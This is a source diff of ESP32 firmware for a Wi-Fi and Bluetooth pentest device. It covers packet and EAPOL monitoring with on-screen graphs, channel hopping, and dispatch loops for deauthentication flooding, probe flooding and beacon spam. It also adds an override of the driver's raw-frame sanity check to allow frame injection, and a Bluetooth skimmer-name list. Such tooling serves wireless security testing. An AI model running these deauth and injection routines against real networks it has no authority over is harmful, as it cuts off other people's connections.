-//      snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  if (save_packet) {
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.addPacket(snifferPacket->payload, len);
-    #else
-      sd_obj.addPacket(snifferPacket->payload, len);
-    #endif
-  }
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-  
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-  
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-  
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-  
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-  
-          // Channel - button pressed
-          if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        if (y_pos_x >= HEIGHT_1) {
-          Serial.println("Max EAPOL number reached. Adjusting...");
-          num_eapol = 0;
-        }
-        //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-  
-        //num_beacon = 0;
-        //num_probe = 0;
-        //num_deauth = 0;
-  
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
-        //Plot "Z" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-  
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-  
-        //tftDisplayTime();
-  
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-  
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        //y_pos_y_old = y_pos_y;
-        //y_pos_z_old = y_pos_z;
-  
-        //delay(50);
-      }
-  
-      sd_obj.main();
-  
-    }
-  
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
-    display_obj.tftDrawEapolColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-
-  void WiFiScan::packetMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-    
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-      
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-      
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-      
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-          
-          // X - button pressed
-          if (b == 0) {
-            if (x_scale > 1) {
-              x_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-          // X + button pressed
-          else if (b == 1) {
-            if (x_scale < 6) {
-              x_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-  
-          // Y - button pressed
-          else if (b == 2) {
-            if (y_scale > 1) {
-              y_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Y + button pressed
-          else if (b == 3) {
-            if (y_scale < 9) {
-              y_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Channel - button pressed
-          else if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= GRAPH_REFRESH) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-    
-        num_beacon = 0;
-        num_probe = 0;
-        num_deauth = 0;
-        
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
-        //Plot "Z" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-        
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-        
-        //tftDisplayTime();
-        
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-         
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        y_pos_y_old = y_pos_y;
-        y_pos_z_old = y_pos_z;
-    
-        //delay(50);
-      }
-  
-      sd_obj.main();
-     
-    }
-    
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    
-    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
-    display_obj.tftDrawYScaleButtons(y_scale);
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
-    display_obj.tftDrawColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-#endif
-
-//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
-//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-//  showMetadata(snifferPacket, type);
-//}
-
-void WiFiScan::changeChannel(int chan) {
-  this->set_channel = chan;
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-void WiFiScan::changeChannel()
-{
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-// Function to cycle to the next channel
-void WiFiScan::channelHop()
-{
-  this->set_channel = this->set_channel + 1;
-  if (this->set_channel > 13) {
-    this->set_channel = 1;
-  }
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-char* WiFiScan::stringToChar(String string) {
-  char buf[string.length() + 1] = {};
-  string.toCharArray(buf, string.length() + 1);
-
-  return buf;
-}
-
-
-// Function for updating scan status
-void WiFiScan::main(uint32_t currentTime)
-{
-  // WiFi operations
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_SCAN_ALL))
-  {
-    if (currentTime - initTime >= this->channel_hop_delay * 1000)
-    {
-      initTime = millis();
-      channelHop();
-    }
-  }
-  else if (currentScanMode == WIFI_PACKET_MONITOR)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        packetMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        eapolMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      eapolMonitorMain(currentTime);
-    #endif
-  }
-  else if (currentScanMode == WIFI_ATTACK_AUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendProbeAttack(currentTime);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthAttack(currentTime, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
-    // Loop through each AP
-    for (int x = 0; x < access_points->size(); x++) {
-      // Only get selected APs
-      if (access_points->get(x).selected) {
-        AccessPoint cur_ap = access_points->get(x);
-        // Loop through each AP's Station
-        for (int i = 0; i < cur_ap.stations->size(); i++) {
-          // Only get selected Stations
-          if (stations->get(cur_ap.stations->get(i)).selected) {
-            Station cur_sta = stations->get(cur_ap.stations->get(i));
-
-            // Send deauths for each selected AP's selected Station
-            for (int y = 0; y < 25; y++)
-              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
-
-            // Display packets sent on screen
-            if (currentTime - initTime >= 1000) {
-              initTime = millis();
-              String displayString = "";
-              String displayString2 = "";
-              displayString.concat(text18);
-              displayString.concat(packets_sent);
-              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-                displayString2.concat(" ");
-              #ifdef HAS_SCREEN
-                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-                display_obj.showCenterText(displayString2, 160);
-                display_obj.showCenterText(displayString, 160);
-              #endif
-              packets_sent = 0;
-            }
-          }
-        }
-      }
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256), 
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256)}});
-    }
-      
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 55; i++)
-      broadcastRandomSSID(currentTime);
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
-    for (int i = 0; i < ssids->size(); i++)
-      this->broadcastCustomBeacon(currentTime, ssids->get(i));
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, access_points->get(i));
-    }
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 7; i++)
-    {
-      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
-      {
-        broadcastSetSSID(currentTime, rick_roll[x]);
-      }
-    }
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-}
+#include "WiFiScan.h"
+#include "lang_var.h"
+
+int num_beacon = 0;
+int num_deauth = 0;
+int num_probe = 0;
+int num_eapol = 0;
+
+LinkedList<ssid>* ssids;
+LinkedList<AccessPoint>* access_points;
+LinkedList<Station>* stations;
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
+    if (arg == 31337)
+      return 1;
+    else
+      return 0;
+}
+
+#ifdef HAS_BT
+  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
+  
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        String display_string = "";
+        if (buf >= 0)
+        {
+          display_string.concat(text_table4[0]);
+          display_string.concat(advertisedDevice->getRSSI());
+          Serial.print(" RSSI: ");
+          Serial.print(advertisedDevice->getRSSI());
+  
+          display_string.concat(" ");
+          Serial.print(" ");
+          
+          Serial.print("Device: ");
+          if(advertisedDevice->getName().length() != 0)
+          {
+            display_string.concat(advertisedDevice->getName().c_str());
+            Serial.print(advertisedDevice->getName().c_str());
+            
+          }
+          else
+          {
+            display_string.concat(advertisedDevice->getAddress().toString().c_str());
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+  
+          #ifdef HAS_SCREEN
+            uint8_t temp_len = display_string.length();
+            for (uint8_t i = 0; i < 40 - temp_len; i++)
+            {
+              display_string.concat(" ");
+            }
+    
+            Serial.println();
+    
+            while (display_obj.printing)
+              delay(1);
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          #endif
+        }
+      }
+  };
+  
+  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        if (buf >= 0)
+        {
+          Serial.print("Device: ");
+          String display_string = "";
+          if(advertisedDevice->getName().length() != 0)
+          {
+            Serial.print(advertisedDevice->getName().c_str());
+            for(uint8_t i = 0; i < bad_list_length; i++)
+            {
+              #ifdef HAS_SCREEN
+                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
+                {
+                  display_string.concat(text_table4[1]);
+                  display_string.concat(" ");
+                  display_string.concat(advertisedDevice->getName().c_str());
+                  uint8_t temp_len = display_string.length();
+                  for (uint8_t i = 0; i < 40 - temp_len; i++)
+                  {
+                    display_string.concat(" ");
+                  }
+                  while (display_obj.printing)
+                    delay(1);
+                  display_obj.loading = true;
+                  display_obj.display_buffer->add(display_string);
+                  display_obj.loading = false;
+                }
+              #endif
+            }
+          }
+          else
+          {
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+          Serial.print(" RSSI: ");
+          Serial.println(advertisedDevice->getRSSI());
+        }
+      }
+  };
+#endif
+
+
+WiFiScan::WiFiScan()
+{
+}
+
+void WiFiScan::RunSetup() {
+  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
+    this->wsl_bypass_enabled = true;
+  else
+    this->wsl_bypass_enabled = false;
+    
+  ssids = new LinkedList<ssid>();
+  access_points = new LinkedList<AccessPoint>();
+  stations = new LinkedList<Station>();
+
+  #ifdef HAS_BT
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    this->ble_initialized = true;
+    
+    this->shutdownBLE();
+  #endif
+
+  this->initWiFi(1);
+}
+
+int WiFiScan::clearStations() {
+  int num_cleared = stations->size();
+  stations->clear();
+  Serial.println("stations: " + (String)stations->size());
+
+  // Now clear stations list from APs
+  for (int i = 0; i < access_points->size(); i++)
+    access_points->get(i).stations->clear();
+    
+  return num_cleared;
+}
+
+bool WiFiScan::checkMem() {
+  if (esp_get_free_heap_size() <= MEM_LOWER_LIM)
+    return false;
+  else
+    return true;
+}
+
+int WiFiScan::clearAPs() {
+  int num_cleared = access_points->size();
+  while (access_points->size() > 0)
+    access_points->remove(0);
+  Serial.println("access_points: " + (String)access_points->size());
+  return num_cleared;
+}
+
+int WiFiScan::clearSSIDs() {
+  int num_cleared = ssids->size();
+  ssids->clear();
+  Serial.println("ssids: " + (String)ssids->size());
+  return num_cleared;
+}
+
+bool WiFiScan::addSSID(String essid) {
+  ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+  ssids->add(s);
+  Serial.println(ssids->get(ssids->size() - 1).essid);
+
+  return true;
+}
+
+int WiFiScan::generateSSIDs(int count) {
+  uint8_t num_gen = count;
+  for (uint8_t x = 0; x < num_gen; x++) {
+    String essid = "";
+
+    for (uint8_t i = 0; i < 6; i++)
+      essid.concat(alfa[random(65)]);
+
+    ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+    ssids->add(s);
+    Serial.println(ssids->get(ssids->size() - 1).essid);
+  }
+
+  return num_gen;
+}
+
+/*void WiFiScan::joinWiFi(String ssid, String password)
+{
+  static const char * btns[] ={text16, ""};
+  int count = 0;
+  
+  if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
+    #ifdef HAS_SCREEN
+      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+      lv_msgbox_set_text(mbox1, text_table4[2]);
+      lv_msgbox_add_btns(mbox1, btns);
+      lv_obj_set_width(mbox1, 200);
+      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+    #endif
+    this->wifi_initialized = true;
+    return;
+  }
+  else if (WiFi.status() == WL_CONNECTED) {
+    Serial.println("Already connected. Disconnecting...");
+    WiFi.disconnect();
+  }
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+    
+  WiFi.begin(ssid.c_str(), password.c_str());
+
+  Serial.print("Connecting to WiFi");
+  while (WiFi.status() != WL_CONNECTED) {
+    delay(500);
+    Serial.print(".");
+    count++;
+    if (count == 10)
+    {
+      Serial.println("\nCould not connect to WiFi network");
+      #ifdef HAS_SCREEN
+        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+        lv_msgbox_set_text(mbox1, text_table4[3]);
+        lv_msgbox_add_btns(mbox1, btns);
